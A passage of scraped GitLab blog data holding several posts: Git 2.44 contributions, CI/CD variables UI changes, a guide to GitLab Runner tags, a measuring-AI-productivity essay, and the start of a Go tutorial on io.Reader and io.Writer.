ref backend itself. But because the reftable backend encodes the format into its binary format, this was a problem.\n- Many tests read or write refs via the filesystem directly.\n- We invested quite some time already into bug fixing and performance optimizations for the reftable library itself.\n- We introduced a new `refStorage` extension that tells Git in which format the repository stores its refs. This can be changed when creating a new repository by specifying `--ref-format` flag in `git-init` or `git-clone`. For now, only the “files” format is supported.\n\nThe overarching goal was to get the work-in-progress reftable backend into a state where it passes the complete test suite. And even though the reftable backend is not yet part of Git 2.44.0, I am happy to report that we have\nsucceeded in this goal: Overall, we have contributed more than 150 patches to realize it. Given the current state, we expect that the new reftable backend will become available with Git v2.45.0.\n\nWe will not cover the new reftable format in this post because it is out of scope, but stay tuned for more details soon!\n\nThis project was a joint effort by\n[John Cai](https://gitlab.com/jcaigitlab),\n[Justin Tobler](https://gitlab.com/justintobler),\n[Karthik Nayak](https://gitlab.com/knayakgl),\n[Stan Hu](https://gitlab.com/stanhu),\n[Toon Claes](https://gitlab.com/toon),\nand [Patrick Steinhardt](https://gitlab.com/pks-gitlab), who has led the effort. Credit also goes to\n[Shawn Pearce](https://sfconservancy.org/blog/2018/jan/30/shawn-pearce/) as original inventor of the format and [Han-Wen Nienhuys](https://www.linkedin.com/pub/dir/han-wen/nienhuys) as the\nauthor of the reftable library.\n\n## Support for GitLab CI\n\nAs all the preparations for the new `reftable` backend demonstrate, we have significantly increased our investments into the long-term vision and health of\nthe Git project. And because a very important part of our product depends on the Git project to remain healthy, we want to continue investing into the Git project like this.\n\nFor us, this means that it was high time to improve our own workflows in the context of the Git project. Naturally, we were already using GitLab CI as part of the process instead of the GitHub Workflows support that existed in\nthe Git project. But we were using a [`.gitlab-ci.yml` definition](https://docs.gitlab.com/ee/ci/yaml/) that was not part of the upstream repository and instead maintained outside the Git project.\n\nWhile this worked reasonably well, there were two significant downsides:\n- Test coverage was significantly lower than that of the GitHub Workflows definition. Notably, we did not test on macOS, had no static analysis, and didn't test with non-default settings. This often led to failures in the GitHub Workflows pipeline that we could have detected earlier if we had better CI integration.\n- Other potential contributors to Git who may already be using GitLab on a daily basis didn't have easy access to a GitLab CI pipeline.\n\nTherefore, we decided to upstream a new GitLab CI definition that integrates with the preexisting CI infrastructure that the Git project already had. Because we reuse a lot of pre-existing infrastructure, this ensures that both GitLab CI and GitHub Workflows run tests mostly in the same way.\n\nAnother benefit of GitLab CI support is that, for the first time, we now also exercise an architecture other than `x86_64` or `i686`: the [macOS runners we provide at GitLab.com](https://docs.gitlab.com/ee/ci/runners/saas/macos_saas_runner.html) use an Apple M1, which is based on the `arm64` architecture.\n\nThis change was contributed by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## More to come\n\nThis blog post gives just a glimpse into what has happened in the Git project, which lies at the heart of [source code management](https://about.gitlab.com/solutions/source-code-management/) at GitLab. Stay tuned for more insights into future contributions and the reftable backend in particular!",[1067,815,1384],{"slug":6788,"featured":6,"template":678},"gitlabs-contributions-to-git-2-44-0","content:en-us:blog:gitlabs-contributions-to-git-2-44-0.yml","Gitlabs Contributions To Git 2 44 0","en-us/blog/gitlabs-contributions-to-git-2-44-0.yml","en-us/blog/gitlabs-contributions-to-git-2-44-0",{"_path":6794,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6795,"content":6801,"config":6805,"_id":6807,"_type":16,"title":6808,"_source":17,"_file":6809,"_stem":6810,"_extension":20},"/en-us/blog/revisiting-the-variables-management-workflow",{"title":6796,"description":6797,"ogTitle":6796,"ogDescription":6797,"noIndex":6,"ogImage":6798,"ogUrl":6799,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6799,"schema":6800},"Revisiting the variables management workflow","Our users helped us identify the hurdles in the variables management experience and we used those insights to guide improvements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098484/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_618473457_nd5Dr8kfGdrlTWLOPmDjb_1750098483284.jpg","https://about.gitlab.com/blog/revisiting-the-variables-management-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Revisiting the variables management workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2024-02-26\",\n      }",{"title":6796,"description":6797,"authors":6802,"heroImage":6798,"date":6784,"body":6803,"category":734,"tags":6804},[5114],"CI/CD variables play a vital role in building and maintaining CI/CD pipelines and platforms. They are an essential part of the majority of developers’ workflows, serving a range of purposes from storing reusable information to maintaining data integrity. Given their significance, we made enhancing workflows related to CI/CD variables a priority.\nRecently, we conducted interviews with users representing different [personas](https://handbook.gitlab.com/handbook/product/personas/#list-of-user-personas) related to software development, working in teams with different structural and cultural dynamics. Our aim was to gain insights into the challenges they encounter when using and managing CI/CD variables within GitLab. The feedback helped us gain valuable perspective, guiding us toward [necessary improvements](https://gitlab.com/gitlab-org/gitlab/-/issues/418331) in these workflows. Some of the notable changes are highlighted in this blog.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/gdL2cEp3kw0?si=aNmhofDU3DsnofiP\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Better management\n\n![variables management - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098505/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098504762.png)\n\nEffective decision-making regarding the addition, modification, or removal of CI/CD variables hinges on understanding their purpose within a project or group. Lacking visibility into a variable's purpose can complicate these decisions. To address this challenge, we've introduced an enhancement to the variable creation process that will allow users to provide a description detailing the usage and context of a variable, reducing reliance on memory. This description will be displayed in the list, along with the other attributes of the variable. \n\n## Seamless task continuity\n\n![variables management - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098505/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098504763.png)\n\nEfficiency is paramount in software development as it allows developers to make time to focus on qualitative aspects of their work. We have changed the variable creation workflow to facilitate consecutive addition or editing of multiple variables to boost efficiency. Improved, clear notifications and contextual error messages ensure users can perform tasks without the need to repeatedly open separate forms.\n\n## Enhanced error prevention\n\n![variables management - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098505/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098504764.png)\n\nHow the error messages are presented and made accessible in a workflow determines their effectiveness in error resolution. We revisited the different error states users are likely to encounter during variable creation and editing workflow and identified the improvement opportunities ranging from adding new validations and help-texts to enhancing existing error-handling states.\n\n## Share your feedback\nWe believe in taking an iterative approach to better the product. We used insights from the recent user research and our best judgment when deciding on the changes, but there’s always room for improvement. Your feedback from your experience of using the changed UI for performing the tasks in your everyday work will help us understand what’s working and what isn’t, and, therefore, decide on future iterations. Please head to our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/441177) to share your thoughts and suggestions on the changes made.\n\n## What’s next?\nAs we work on making the existing variables workflow more usable, we’re also making progress on the [GitLab Secret Manager](https://about.gitlab.com/direction/govern/pipeline_security/secrets_management/#overview) to provide users with a more secure method for enabling GitLab, or a component built within GitLab, to connect to other systems.\n\nThere’s an ongoing effort to [improve the variables table layout to clearly represent the visual hierarchy](https://gitlab.com/gitlab-org/gitlab/-/issues/403176) between group and project variables and enhancing the [audit history for CI variables](https://gitlab.com/gitlab-org/gitlab/-/issues/416148) to provide better visibility into activities related to variables.\n\n## Read more about our UI improvements\n- [How we overhauled GitLab navigation](https://about.gitlab.com/blog/navigation-research-blog-post/)\n- [Beautifying our UI: Giving GitLab build features a fresh look](https://about.gitlab.com/blog/beautifying-of-our-ui/)\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[110,2249,943,4103],{"slug":6806,"featured":92,"template":678},"revisiting-the-variables-management-workflow","content:en-us:blog:revisiting-the-variables-management-workflow.yml","Revisiting The Variables Management Workflow","en-us/blog/revisiting-the-variables-management-workflow.yml","en-us/blog/revisiting-the-variables-management-workflow",{"_path":6812,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6813,"content":6819,"config":6824,"_id":6826,"_type":16,"title":6827,"_source":17,"_file":6828,"_stem":6829,"_extension":20},"/en-us/blog/how-to-translate-bamboo-agent-capabilities-to-gitlab-runner-tags",{"title":6814,"description":6815,"ogTitle":6814,"ogDescription":6815,"noIndex":6,"ogImage":6816,"ogUrl":6817,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6817,"schema":6818},"How to translate Bamboo agent capabilities to GitLab Runner tags  ","This tutorial demonstrates how to use tags to organize GitLab Runners when building complex CI/CD pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663019/Blog/Hero%20Images/AdobeStock_519147119.jpg","https://about.gitlab.com/blog/how-to-translate-bamboo-agent-capabilities-to-gitlab-runner-tags","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to translate Bamboo agent capabilities to GitLab Runner tags  \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2024-02-22\",\n      }",{"title":6814,"description":6815,"authors":6820,"heroImage":6816,"date":6821,"body":6822,"category":734,"tags":6823},[2816],"2024-02-22","CI pipelines often start simple – a single job building a binary and pushing it to an artifact repository or to some production environment. Ever-changing software requirements introduce more complexities, such as adding more jobs to perform certain checks and reviewing the output before the final build job is executed.  \n\nThese complexities increase exponentially when builds are expected to target varying systems with different system architectures or resource needs. This is evident in projects like operating systems, mobile apps, or software distributions that support multiple deployment platforms. To account for the varying needs of builds in these types of environments, having multiple runners that match needed requirements is key, and that's where [GitLab Runner](https://docs.gitlab.com/runner/) tags come in. If you are coming from Atlassian's Bamboo, they are called \"agent capabilities.\"\n\nRunner tags allow organizing runners by a tag that signifies a specific use case they support; these tags are then used to make sure CI jobs run on a runner that meets their requirements. A job can require GPU resources that are only available on a handful of runners; tagging the job to the tags of the runner allows it to be scheduled on the runner with GPUs.\n\nAgent capabilities on Bamboo are used to achieve the same functionality by specifying binaries or custom identifiers that must be matched or available for a job to run on a Bamboo agent. In this blog post, we will be looking at how to translate Bamboo agent capabilities to GitLab Runner tags. \n\nBamboo has varying agent capabilities:\n- Executable capability specifies executables that are available on an agent.\n- JDK capability specifies that the Java Development Kit is installed and available for builds.\n- Version Control capability lets Bamboo know the version control systems set up on an agent and where the client application is located.\n- Docker capability is used to define the agents where Docker is installed for Docker tasks\n- Custom capability uses key/value identifiers to identify a unique functionality an agent provides.\n\nGitLab makes the process easier by using tags to identify Runners, some of which can be assigned multiple tags to denote the varying functionalities they can provide to jobs. Let's look at how you can use Runner tags in GitLab.\n\n## Adding tags to GitLab Runner\n\nWhen [registering a runner](https://docs.gitlab.com/runner/register/index.html) after installation, one of the steps requires providing a list of comma-separated tags that can be used. If none are provided at this stage, you can always edit the `/etc/gitlab-runner/config.toml` file and add any missing tags.\n\nYou can also manage the tags of a runner in GitLab by accessing the runner's edit page and updating the `Tags` field. You have the option for the runner to be exclusive to jobs that are tagged appropriately, or when there are no tagged jobs to run, it should run untagged jobs, too. Checking `Run untagged jobs` enables this behavior.\n\n## Using tags in .gitlab-ci.yaml file\n\nTo run a job on a specific runner, add the relevant tags to the job's configuration, as shown below:\n\n```yaml\nbuild_ios:\n  image: macos-13-xcode-14\n  stage: build\n  script:\n    - bundle check --path vendor/bundle || bundle install --path vendor/bundle --jobs $(nproc)\n    - bundle exec fastlane build\n  tags: \n    - saas-macos-medium-m1\n```\nIn the example above, the job builds an iOS application only on runners operating on a macOS device with an M1 chip and tagged `saas-macos-medium-m1`.\n\n## Using multiple tags\n\nA job can specify multiple tags to target a diverse range of runners, especially in organizations that run several fleets of runners as part of their software development lifecycle. A job will only run if a runner is found that has all the tags the job has been tagged with. For example, if a job has `[linux, android, fastlane]` tags, a runner with `[ android, fastlane]` or `[ linux, android]` will not execute the job because the full set of tags does not match the runner.\n\n## Dynamic jobs with tags and variables\n\nYou can use variables to determine the values of tags and thus dynamically influence which runners pick up the jobs. For example:\n\n```\nvariables:\n  KUBERNETES_RUNNER: kubernetes\n\n  job:\n    tags:\n      - docker\n      - $KUBERNETES_RUNNER\n    script:\n      - echo \"Hello runner selector feature\"\n\n``` \n\nIn this example, only runners tagged with `kubernetes` will execute the job. You can take this further in more complex pipelines with [`parallel: matrix`](https://docs.gitlab.com/ee/ci/yaml/index.html#parallelmatrix). Here is an example:\n\n```\ndeploystacks:\n  stage: deploy\n  parallel:\n    matrix:\n      - PROVIDER: aws\n        STACK: [monitoring, app1]\n      - PROVIDER: gcp\n        STACK: [data]\n  tags:\n    - ${PROVIDER}-${STACK}\n  environment: $PROVIDER/$STACK\n\n```\n\nThis example ends up with three parallel jobs with three different tags for each: `aws-monitoring`, `aws-app1` and `gcp-data`, thus targeting possibly three different runners.\n\nUsing tags in your GitLab CI configuration gives you the flexibility to determine where and how your applications are built, to use resources more efficiently as scarce resources can be limited to certain runners, and to determine how jobs are allocated to those runners.\n\n> Learn more about [how to make the move from Atlassian to GitLab](https://about.gitlab.com/move-to-gitlab-from-atlassian/).\n",[110,1384,696],{"slug":6825,"featured":92,"template":678},"how-to-translate-bamboo-agent-capabilities-to-gitlab-runner-tags","content:en-us:blog:how-to-translate-bamboo-agent-capabilities-to-gitlab-runner-tags.yml","How To Translate Bamboo Agent Capabilities To Gitlab Runner Tags","en-us/blog/how-to-translate-bamboo-agent-capabilities-to-gitlab-runner-tags.yml","en-us/blog/how-to-translate-bamboo-agent-capabilities-to-gitlab-runner-tags",{"_path":6831,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6832,"content":6838,"config":6843,"_id":6846,"_type":16,"title":6847,"_source":17,"_file":6848,"_stem":6849,"_extension":20},"/en-us/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6",{"title":6833,"description":6834,"ogTitle":6833,"ogDescription":6834,"config":6835,"ogImage":3431,"ogUrl":6836,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6836,"schema":6837},"GitLab Security Release: 16.9.1, 16.8.3, 16.7.6","Learn more about GitLab Security Release: 16.9.1, 16.8.3, 16.7.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.9.1, 16.8.3, 16.7.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2024-02-21\",\n      }",{"title":6833,"description":6834,"authors":6839,"heroImage":3431,"date":6840,"body":6841,"category":674,"tags":6842},[4221],"2024-02-21","[GitLab Security Release: 16.9.1, 16.8.3, 16.7.6](https://about.gitlab.com/releases/2024/02/21/security-release-gitlab-16-9-1-released/)",[1464,674,479],{"slug":6844,"featured":6,"template":678,"externalUrl":6845},"gitlab-security-release-16-9-1-16-8-3-16-7-6","https://about.gitlab.com/releases/2024/02/21/security-release-gitlab-16-9-1-released/","content:en-us:blog:gitlab-security-release-16-9-1-16-8-3-16-7-6.yml","Gitlab Security Release 16 9 1 16 8 3 16 7 6","en-us/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6.yml","en-us/blog/gitlab-security-release-16-9-1-16-8-3-16-7-6",{"_path":6851,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6852,"content":6858,"config":6864,"_id":6866,"_type":16,"title":6867,"_source":17,"_file":6868,"_stem":6869,"_extension":20},"/en-us/blog/measuring-ai-effectiveness-beyond-developer-productivity-metrics",{"title":6853,"description":6854,"ogTitle":6853,"ogDescription":6854,"noIndex":6,"ogImage":6855,"ogUrl":6856,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6856,"schema":6857},"Measuring AI effectiveness beyond developer productivity metrics ","AI assistants are here, yet measuring AI's impact on productivity isn’t figured out. Here’s why it’s a difficult problem and how GitLab is solving it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671994/Blog/Hero%20Images/AdobeStock_700757695.jpg","https://about.gitlab.com/blog/measuring-ai-effectiveness-beyond-developer-productivity-metrics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Measuring AI effectiveness beyond developer productivity metrics \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2024-02-20\",\n      }",{"title":6853,"description":6854,"authors":6859,"heroImage":6855,"date":6861,"body":6862,"category":791,"tags":6863},[6860],"Taylor McCaslin","2024-02-20","AI-powered productivity tools promise to boost productivity by automating repetitive coding and tedious tasks, as well as generating code. How organizations measure the AI impact of these productivity tools has yet to be truly figured out. GitLab is working on a solution: AI Impact is a dashboard grounded in [value stream analytics](https://about.gitlab.com/solutions/value-stream-management/) that will help organizations understand the effect of [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of features, on their productivity. AI Impact is the culmination of what we’ve learned at GitLab about measuring the impact of AI, and we wanted to share those lessons with you.\n\n[A report for The Pragmatic Engineer](https://newsletter.getdx.com/p/developer-productivity-metrics-at-top-companies) shows that measuring productivity in general isn’t straightforward, with top engineering teams around the globe all using different metrics. If everyone has a different productivity metric to optimize, how do we even begin to measure the impact of AI productivity tools? Welcome to why measuring AI assistant productivity impact is difficult and commonly misses the mark.\n\n>  Follow the progress of our AI Impact dashboard and [share your feedback](https://gitlab.com/groups/gitlab-org/-/epics/12978).\n\n## Flawed productivity metrics\n\nSimplistic productivity metrics like lines of code contributed per day or acceptance rates of AI suggestions fail to capture downstream costs. For instance, GitClear, according to [an Infoworld article](https://www.infoworld.com/article/3712685/is-ai-making-our-code-stupid.html), “analyzed 153 million lines of changed code between January 2020 and December 2023 and now expects that code churn ('the percentage of lines that are reverted or updated less than two weeks after being authored') will double in 2024.\" Thus, simply measuring lines of code risks technical debt pileup and skill atrophy in developers.  \n\n## Indirect impacts are hard to quantify\n\nThe goal of AI developer tools is to remove toil, allowing developers to focus on higher value tasks like system architecture and design. But how much time is really saved this way versus spent reviewing, testing, and maintaining AI-generated code? These second-order productivity impacts are very difficult to accurately attribute directly to AI, which may give you a false sense of value. One solution to this is to choose who gets to use AI productivity tools carefully.\n\n## Focus should be on business outcomes\n\nUltimately, what matters is real-world business outcomes, not developer activity metrics. Tracking lead time, cycle time, production defects, and user satisfaction better indicate where bottlenecks exist. If AI tools generate usable code faster, and quality teams can’t keep up with changes, the end software product may decrease in quality and lead to customer satisfaction problems. Shipping more sounds great until it causes problems that take even more time, money, and effort to resolve. Measuring business outcomes is also difficult and these measurements frequently are lagging indicators of problems. Measuring quality defects, security issues, and application performance are all ways to identify business impact sooner. \n\n## The need to balance speed and quality\n\nWhile AI code generation has the potential to accelerate development velocity, it should not come at the cost of overall quality and maintainability. Teams must strike the right balance between velocity and writing maintainable, well-tested code that solves actual business problems. Quality should not be sacrificed purely to maximize productivity metrics. This is when measuring lines of code AI generates or number of AI suggestions developers accept can optimize for the problematic outcomes. More code doesn't necessarily mean higher quality or productivity. More code means more to review, test, and maintain – potentially slowing delivery down.\n\nLet’s look at an example: AI-generated code output is scoped to the area a developer is currently working on. Current AI tools lack the ability to assess the broader architecture of the application (amplified in a microservices architecture). This means that even if the quality of the generated code is good, it may lead to repetition and code bloat because it will be inserted into the area targeted rather than making wider systematic changes. This is problematic in languages that are architected with object-oriented languages that use DRY (don't-repeat-yourself) principles. This is an active area of research and we’re excited to adopt new approaches and technologies to increase the context awareness of our AI features.\n\nAcceptance rate can be particularly misleading, and unfortunately is becoming the primary way AI productivity tools measure success. Developers may accept an AI-generated suggestion but then need to heavily edit or rewrite it. Thus, the initial acceptance gives no indication of whether the suggestion was actually useful. Acceptance rate is fundamentally a proxy for AI assistant quality, yet it is misconstrued as a productivity measure. This is especially misleading when all vendors are measuring acceptance rate differently and marketing based on this number. GitLab intentionally does not use this kind of data in our marketing. What we’ve seen in practice is that developers use AI-generated code similar to how an actor uses a cue – they look at the generated code and say, \"oh, right, that's the nudge I needed, I'll take it from here.\" \n\n## Implementation and team dynamics play a key role\n\nHow productivity gains materialize depends on how AI tools are implemented and developer dynamics. If some developers distrust the technology or reviews become lax expecting AI to catch errors, quality may suffer. Additionally, introducing AI tools often necessitates changes to processes like code reviews, testing, and documentation. Productivity could temporarily decline as teams adjust to new workflows before seeing gains. Organizations must ensure that when implementing AI tools, that they allow teams time to figure out how it works and how it fits into their workflows, knowing that this trial-and-error period may lead to reduced productivity metrics before seeing productivity gains. \n\nTo get this balance right, it’s important to define the tasks that are highly accurate and consistent and train the team to use AI for those use cases (at least, at first). We know that AI code generation is useful for producing scaffolding, test generation, and syntax corrections, as well as generating documentation. Have teams start there and they will see better results and learn to use the tool more effectively. Remember you can’t measure AI’s impact in a week. You have to give teams time to find their rhythm with their AI assistants. \n\n## Challenges exist, but AI is the future\n\nNow that we’ve talked about the challenges of measuring AI impact and potential risks, we do want to say at GitLab we do believe AI has a huge role to play in the evolution of DevSecOps platforms. That’s why we’re building GitLab Duo. But we are not rushing into productivity measurement by showing acceptance rates, or lines of code generated. We believe these are a step backwards to previous ways of thinking about productivity. Instead we’re looking at the data we have within our unified DevSecOps platform to present a more complete picture of AI Impact.  \n\n## What to measure instead\n\nMeasuring the productivity impacts of AI developer tools requires nuance and a focus on end-to-end outcomes rather than isolated productivity metrics. For these reasons, simple quantitative metrics tend to miss the nuances of measuring productivity with AI developer tools. The key is to combine quantitative data from across the software development lifecycle (SDLC) with qualitative feedback from developers on how AI actually impacts their day-to-day experience and shapes long-term development practices. Only then can we get an accurate picture of the productivity gains these tools can offer. We view AI as an augmentor to DevSecOps adoption, rather than a replacement for doing things the right way. Organizations focusing on building the right muscles in their SDLC practice are the ones best positioned to actually take advantage of any potential gains in developer coding productivity.\n\nSo what metric should we use instead? At GitLab we already have [value stream analytics](https://about.gitlab.com/solutions/value-stream-management/), which examine the end-to-end flow of work from idea to production to determine where bottlenecks exist. Value stream analytics isn’t a single measurement, it’s the ongoing tracking of metrics like lead time, cycle time, deployment frequency, and production defects. This keeps the focus on business outcomes rather than developer activity. By taking a holistic view across code quality, collaboration, downstream costs, and developer experience, teams can steer these technologies to augment (rather than replace) human abilities over the long run. \n\n## Introducing GitLab's AI Impact approach\n\nGitLab has the whole picture being a unified DevSecOps platform that spans the entire SDLC. We built [Value Stream Management](https://about.gitlab.com/solutions/value-stream-management/) to empower teams with metrics and insights to ship better software faster. Blending GitLab [Value Stream Analytics](https://about.gitlab.com/solutions/value-stream-management/) and [DORA metrics](https://about.gitlab.com/solutions/value-stream-management/dora/), and GitLab Duo usage data, we can provide organizations with the complete picture of how AI is impacting their SDLC. We’re calling this dashboard AI Impact, and it’s coming in an upcoming release to measure GitLab Duo’s impact on productivity. Follow our progress and [share your feedback](https://gitlab.com/groups/gitlab-org/-/epics/12978). \n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._",[790,479,943,695],{"slug":6865,"featured":92,"template":678},"measuring-ai-effectiveness-beyond-developer-productivity-metrics","content:en-us:blog:measuring-ai-effectiveness-beyond-developer-productivity-metrics.yml","Measuring Ai Effectiveness Beyond Developer Productivity Metrics","en-us/blog/measuring-ai-effectiveness-beyond-developer-productivity-metrics.yml","en-us/blog/measuring-ai-effectiveness-beyond-developer-productivity-metrics",{"_path":6871,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6872,"content":6878,"config":6884,"_id":6886,"_type":16,"title":6887,"_source":17,"_file":6888,"_stem":6889,"_extension":20},"/en-us/blog/compose-readers-and-writers-in-golang-applications",{"title":6873,"description":6874,"ogTitle":6873,"ogDescription":6874,"noIndex":6,"ogImage":6875,"ogUrl":6876,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6876,"schema":6877},"Compose Readers and Writers in Golang applications","GitLab streams terabytes of Git data every hour using Golang abstractions of I/O implementations. Learn how to compose Readers and Writers in Golang apps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099464/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_639935439_3oqldo5Yt5wPonEJYZOLTM_1750099464124.jpg","https://about.gitlab.com/blog/compose-readers-and-writers-in-golang-applications","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Compose Readers and Writers in Golang applications\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Igor Drozdov\"}],\n        \"datePublished\": \"2024-02-15\",\n      }",{"title":6873,"description":6874,"authors":6879,"heroImage":6875,"date":6881,"body":6882,"category":734,"tags":6883},[6880],"Igor Drozdov","2024-02-15","Every hour, GitLab transfers terabytes of Git data between a server and a client. It is hard or even impossible to handle this amount of traffic unless it is done efficiently in a streaming fashion. Git data is served by Gitaly (Git server), GitLab Shell (Git via SSH), and Workhorse (Git via HTTP(S)). These services are implemented using Go - the language that conveniently provides abstractions to efficiently deal with I/O operations.\n\nGolang's [`io`](https://pkg.go.dev/io) package provides [`Reader`](https://pkg.go.dev/io#Reader) and [`Writer`](https://pkg.go.dev/io#Writer) interfaces to abstract the functionality of I/O implementations into public interfaces.\n\n`Reader` is the interface that wraps the basic `Read` method:\n\n```go\ntype Reader interface {\n\tRead(p []byte) (n int, err error)\n}\n```\n\n`Writer` is the interface that wraps the basic `Write` method.\n\n```go\ntype Writer interface {\n\tWrite(p []byte) (n int, err error)\n}\n```\n\nFor example, [`os`](https://pkg.go.dev/os) package provides an implementation of reading a file. `File` type implements `Reader` and `Writer` interfaces by defining basic [`Read`](https://pkg.go.dev/os#File.Read) and [`Write`](https://pkg.go.dev/os#File.Write) functions.\n\nIn this blog post, you'll learn how to compose Readers and Writers in Golang applications.\n\nFirst, let's read from a file and write its content to [`os.Stdout`](https://cs.opensource.google/go/go/+/master:src/os/file.go;l=66?q=Stdout&ss=go%2Fgo).\n\n```go\nfunc main() {\n\tfile, err := os.Open(\"data.txt\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tp := make([]byte, 32 * 1024)\n\tfor {\n\t\tn, err := file.Read(p)\n\n\t\t_, errW := os.Stdout.Write(p[:n])\n\t\tif errW != nil {\n\t\t\tlog.Fatal(errW)\n\t\t}\n\n\t\tif err != nil {\n\t\t\tif errors.Is(err, io.EOF) {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n}\n```\n\nEach call of the `Read` function fills the buffer `p` with the content from the file, i.e. the file is being consumed in chunks (up to `32KB`) instead of being fully loaded into the memory.\n\nTo simplify this widely used pattern, `io` package conveniently provides [`Copy`](https://pkg.go.dev/io#Copy) function that allows passing content from any `Reader` to any `Writer` and also [handles](https://cs.opensource.google/go/go/+/refs/tags/go1.21.0:src/io/io.go;l=433) additional edge cases.\n\n```go\nfunc main() {\n\tfile, err := os.Open(\"data.txt\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tif _, err := io.Copy(os.Stdout, file); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n```\n\n`Reader` and `Writer` interfaces are used across the whole Golang ecosystem because they facilitate reading and writing content in a streaming fashion. Therefore, gluing together the Readers and Writers with the functions that expect these interfaces as arguments is a frequent problem to solve. Sometimes it's as straightforward as passing content from a Reader into a Writer, but sometimes the content written into a Writer must be represented as a Reader or the content from a reader must be sent into multiple Writers. Let's have a closer look into different use cases and the examples of solving these types of problems in the `GitLab` codebase.\n\n## Reader -> Writer\n\n**Problem**\n\nWe need to pass content from a Reader into a Writer.\n\n![readers and writers - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099495/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099494917.png)\n\n**Solution**\n\nThe problem can be solved by using [`io.Copy`](https://pkg.go.dev/io#Copy).\n\n```go\nfunc Copy(dst Writer, src Reader) (written int64, err error)\n```\n\n**Example**\n\n[`InfoRefs*`](https://gitlab.com/gitlab-org/gitlab/blob/57aafb6a886d05c15dd0fa372fb4f008bec014ea/workhorse/internal/gitaly/smarthttp.go#L18-35) Gitaly RPCs return a `Reader` and we want to [stream](https://gitlab.com/gitlab-org/gitlab/blob/57aafb6a886d05c15dd0fa372fb4f008bec014ea/workhorse/internal/git/info-refs.go#L78-80) its content to a user via HTTP response:\n\n```go\nfunc handleGetInfoRefsWithGitaly(ctx context.Context, responseWriter *HttpResponseWriter, a *api.Response, rpc, gitProtocol, encoding string) error {\n        ...\n        infoRefsResponseReader, err := smarthttp.InfoRefsResponseReader(ctx, &a.Repository, rpc, gitConfigOptions(a), gitProtocol)\n        ...\n        if _, err = io.Copy(w, infoRefsResponseReader); err != nil {\n            return err\n        }\n        ...\n}\n```\n\n## Reader -> Multiple Writers\n\n**Problem**\n\nWe need to pass content from a Reader into multiple Writers.\n\n![readers and writers - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099495/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099494917.png)\n\n**Solution**\n\nThe `io` package provides [`io.MultiWriter`](https://pkg.go.dev/io#MultiWriter) function that _converts_ multiple Writers into a single one. When its `Write` function is called, the content is copied to all the Writers 